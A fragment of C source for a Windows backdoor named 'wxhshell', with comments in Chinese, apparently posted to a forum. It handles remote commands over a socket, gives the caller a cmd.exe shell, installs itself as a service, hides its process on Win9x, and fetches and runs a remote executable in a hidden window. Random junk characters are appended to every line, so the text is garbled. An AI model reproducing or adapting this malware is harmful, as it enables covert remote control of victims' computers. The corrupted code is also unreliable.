  else { ;JZXSM-3  
ze 4/XR  
    switch(cmd[0]) { s]I],>}RU  
  {^\-%3$  
  // 帮助 TuF:m"4  
  case '?': { <=zGaU,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); mD=?C  
    break; >N,G@{FR  
  } hCDI;'ls  
  // 安装 H!Od.$ZIX  
  case 'i': { +]>a`~   
    if(Install()) V`H#|8\i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @"~\[z5  
    else ;T_9;RU<'b  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q@\_q!  
    break; )F~_KD)7jJ  
    } #>,cc?H-  
  // 卸载 RhJ<<T.2  
  case 'r': { `j(+Y  
    if(Uninstall()) eyE&<:F#J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2tbqmWw/s  
    else e7qT;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1]<!Xuk^f  
    break; gON6jnDO  
    } ;+jp,( 7  
  // 显示 wxhshell 所在路径 =&pbh  
  case 'p': { g|zK%tR_P  
    char svExeFile[MAX_PATH]; OP&[5X+Y  
    strcpy(svExeFile,"\n\r"); j~{2fd<>  
      strcat(svExeFile,ExeFile); wiGwN  
        send(wsh,svExeFile,strlen(svExeFile),0); .( J /*H  
    break; MCCZh{uo  
    } ~3%3{a a  
  // 重启 9s!/yiP5  
  case 'b': { "a g_   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ##5/%#eZ  
    if(Boot(REBOOT)) t#q> U%!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K+}Z6_:  
    else { IF:M_   
    closesocket(wsh); -hzza1DP  
    ExitThread(0); c`+ITNV  
    } \1!k)PZdTW  
    break; W<4\4  
    } O)Qz$  
  // 关机 /OP*ARoC21  
  case 'd': { wgyO%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !BX62j\?  
    if(Boot(SHUTDOWN)) 2tv40(M:<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AAW7@\q.  
    else { rTm{-b)r  
    closesocket(wsh); d0B+syl&4l  
    ExitThread(0); r83~o/T@  
    } NM@An2  
    break;  SoX V  
    } Fjzk;o  
  // 获取shell Ic}ofBK  
  case 's': { Q8x{V_Pot  
    CmdShell(wsh); @QG1\W'  
    closesocket(wsh);  62jA  
    ExitThread(0); ='0!B]<G  
    break; <<6w9wNon  
  } {wP|b@(1t  
  // 退出 b..$5  
  case 'x': { ra>`J_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); vI'>$  
    CloseIt(wsh); zRu`[b3u<  
    break; L_mqC(vn  
    } QNXxpoS#  
  // 离开 B: ~;7A\  
  case 'q': { 6t:c]G'J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <&:&qn gg  
    closesocket(wsh); 5$U>M  
    WSACleanup(); Jt6J'MOq  
    exit(1); Y}uQ`f  
    break; Zk UuniO  
        } ]Rh( =bg  
  } TEyx((SK  
  } f9UaAdJ(  
lzG;F]  
  // 提示信息 cl{W]4*$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2nkj;x{H$  
} ACO4u<M)  
  } 2?iOB6  
V2{#<d-T!  
  return; Us,[x Q  
} ;-pvc<_c<  
e[mhbFf-  
// shell模块句柄 sLdUrD%  
int CmdShell(SOCKET sock) ^:DhHqvK  
{ Hu8atlpo  
STARTUPINFO si; %K'*P56  
ZeroMemory(&si,sizeof(si)); >B/&V|E  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $H-D9+8 7  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; |4. o$*0Y  
PROCESS_INFORMATION ProcessInfo; U?fN3  
char cmdline[]="cmd"; ef}E.Bl  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); C6UMc} 9h  
  return 0; =+}}Sv2  
} %;(|KrUN  
ClMtl59  
// 自身启动模式 _:X|R#d  
int StartFromService(void) 8;g.3Qv  
{ hLbT\J`I  
typedef struct 9id~NNr7  
{ w<~<(5mM5;  
  DWORD ExitStatus; Uc_`Eh3y  
  DWORD PebBaseAddress; nj^q@h  
  DWORD AffinityMask; =HV-8C]  
  DWORD BasePriority; 0uIV6LI  
  ULONG UniqueProcessId; w}W@M,.^  
  ULONG InheritedFromUniqueProcessId; ^UvK~5tBV  
}   PROCESS_BASIC_INFORMATION; YNC0Z'c9  
zz 'dg-F  
PROCNTQSIP NtQueryInformationProcess; j&[.2PW\  
0^y@p&;/.  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; / }XsuH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VyoE5o  
YKe0:cWc  
  HANDLE             hProcess; X}j'L&{F@  
  PROCESS_BASIC_INFORMATION pbi; I*W9VhIOV  
NB+$ym  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); !/4 V^H  
  if(NULL == hInst ) return 0; 8 5%Pq:E  
zh^jWu  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); lv00sa2z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %<wQ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); s0)qlm*  
20/P M9  
  if (!NtQueryInformationProcess) return 0; v$)@AE  
!#c[~erNZ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); y '_V/w s  
  if(!hProcess) return 0; Q"OV>klk  
;WvYzd9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ti{H(;;@  
I|F~HUzA"  
  CloseHandle(hProcess); _b!;(~ @p  
XW UvP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); f/0v' Jt  
if(hProcess==NULL) return 0; }RA3$%3  
ZSF=  
HMODULE hMod; KH2F#[ !Lw  
char procName[255]; lPRdwg-  
unsigned long cbNeeded; `R=a@DQ  
r,u<y_YW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <+? Y   
$Yx6#m}[M  
  CloseHandle(hProcess); 'R4>CZ%jV  
t+=12{9;f  
if(strstr(procName,"services")) return 1; // 以服务启动 z-KrQx2  
?418*tXd  
  return 0; // 注册表启动 A*7Io4e!  
} gx!*O<|e4  
zG-_!FIn  
// 主模块 -+3be(u  
int StartWxhshell(LPSTR lpCmdLine) (orrX Ez  
{ %_B:EMPd  
  SOCKET wsl; n_""M:XH  
BOOL val=TRUE; 0|+>A?E}E  
  int port=0; `e'G.@  
  struct sockaddr_in door; O`wYMng)  
6}VUD -}B  
  if(wscfg.ws_autoins) Install(); xa87xX=a  
LPEjRG,  
port=atoi(lpCmdLine); Cz'xGW{  
{l0,T0  
if(port<=0) port=wscfg.ws_port; `pP9z;/Xq  
\We"?1^  
  WSADATA data; V/aQ*V{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0s 860Kn  
xGKfej9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   IXGW2z;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =ud `6{R  
  door.sin_family = AF_INET; i Td-n9  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7<h.KZPc  
  door.sin_port = htons(port); Dz[566UD  
+VSZhg,Np8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sW;7m[o  
closesocket(wsl); = y?#^  
return 1; ^Vag1 (hdq  
} LWD.  
fph-v-cl  
  if(listen(wsl,2) == INVALID_SOCKET) { q&u$0XmV  
closesocket(wsl); ?V#Gx>\  
return 1; 4Z*|Dsw  
} 48wDf_<f5=  
  Wxhshell(wsl); e&d3SQ%  
  WSACleanup(); {J{1`@  
-Bj.hx*  
return 0; JYPxd~T/-  
SEYGy+#K  
} T'hml   
j2M4H@  
// 以NT服务方式启动 }.'Z =yy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /^J2B8y  
{ (G#}*  
DWORD   status = 0; ; vMn/  
  DWORD   specificError = 0xfffffff; ?RDO] I>  
!&W|myN^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1:_=g#WH  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; G OpjRA@  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @\ }sb]  
  serviceStatus.dwWin32ExitCode     = 0; Z #EvRC  
  serviceStatus.dwServiceSpecificExitCode = 0; -)X{n?i  
  serviceStatus.dwCheckPoint       = 0; <_t5:3HL  
  serviceStatus.dwWaitHint       = 0; sD2 ^_w6j  
JfkTw~'R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G[#.mD{k  
  if (hServiceStatusHandle==0) return; qh$X^%g  
i!L;? `F{  
status = GetLastError(); Fqo&3+J4  
  if (status!=NO_ERROR) ovz#  
{ NS Np  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2\5cjdy  
    serviceStatus.dwCheckPoint       = 0; Ss 2$n  
    serviceStatus.dwWaitHint       = 0; [g+y_@9s  
    serviceStatus.dwWin32ExitCode     = status; >&1um5K  
    serviceStatus.dwServiceSpecificExitCode = specificError; x:qr\Rz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); +lKrj\Xj  
    return; d Qai4e>[  
  } sYW[O"oNi  
q@%h^9.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; _-/x;C  
  serviceStatus.dwCheckPoint       = 0; YwXXXh  
  serviceStatus.dwWaitHint       = 0; E3f9<hm   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *qG$19b  
} Y#`Lcg+r,  
*2=W5LaK.  
// 处理NT服务事件,比如:启动、停止 O ^0"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) kxh 5}eB  
{ 3%2jwR  
switch(fdwControl) 0V3gKd7  
{ s@s/ '^`  
case SERVICE_CONTROL_STOP: H*rx{F?  
  serviceStatus.dwWin32ExitCode = 0; "<x&pQZ%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <5I1DF[  
  serviceStatus.dwCheckPoint   = 0; oIR.|=Hk{  
  serviceStatus.dwWaitHint     = 0; "J !}3)n  
  { ]~8v^A7u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )\0q_a  
  } G'9{a'  
  return; s^cc@C  
case SERVICE_CONTROL_PAUSE: &bLC(e ]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w" JGO  
  break; cOb4c*  
case SERVICE_CONTROL_CONTINUE: @!<d0_dnC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _f3 WRyN0  
  break; B+Z13;}B  
case SERVICE_CONTROL_INTERROGATE: g4wZvra6%)  
  break; vbp-`M(  
}; ` 8UWE {  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?/'}JS(Sm  
} qo_]ZKL44  
QrC/ssf}  
// 标准应用程序主函数 Q]rqD83((  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?'sXgo.}  
{ Yj|]Uff8O  
nJT4w|Yx  
// 获取操作系统版本 <uD qYT$6  
OsIsNt=GetOsVer(); *QH[,F`I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); etyCrQ ?U  
iCrxV{   
  // 从命令行安装 #)] c0]p  
  if(strpbrk(lpCmdLine,"iI")) Install(); OJ/SYZ.r  
=IHje;s  
  // 下载执行文件 qS.)UaA  
if(wscfg.ws_downexe) { *vnXlV4L  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) //.>>-~1m  
  WinExec(wscfg.ws_filenam,SW_HIDE); -;pOh;WG  
} ntGq" o  
[AR>?6G-  
if(!OsIsNt) { [se^.[0,  
// 如果时win9x,隐藏进程并且设置为注册表启动 \H4U8)l  
HideProc(); z(H?VfJo  
StartWxhshell(lpCmdLine); 0E6lmz`O  
} >uy%-aXiVa  
else |nY~ZVTt/  
  if(StartFromService()) u 9]1X1wV  
  // 以服务方式启动 T2weAk#J  
  StartServiceCtrlDispatcher(DispatchTable); i:Y\`J  
else vM`~)rO@!  
  // 普通方式启动 9y^/GwUQ  
  StartWxhshell(lpCmdLine); ?`AGF%zp  
E>pVn2|  
return 0; Yc`<S   
}
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只看该作者 1 发表于: 2006-10-10
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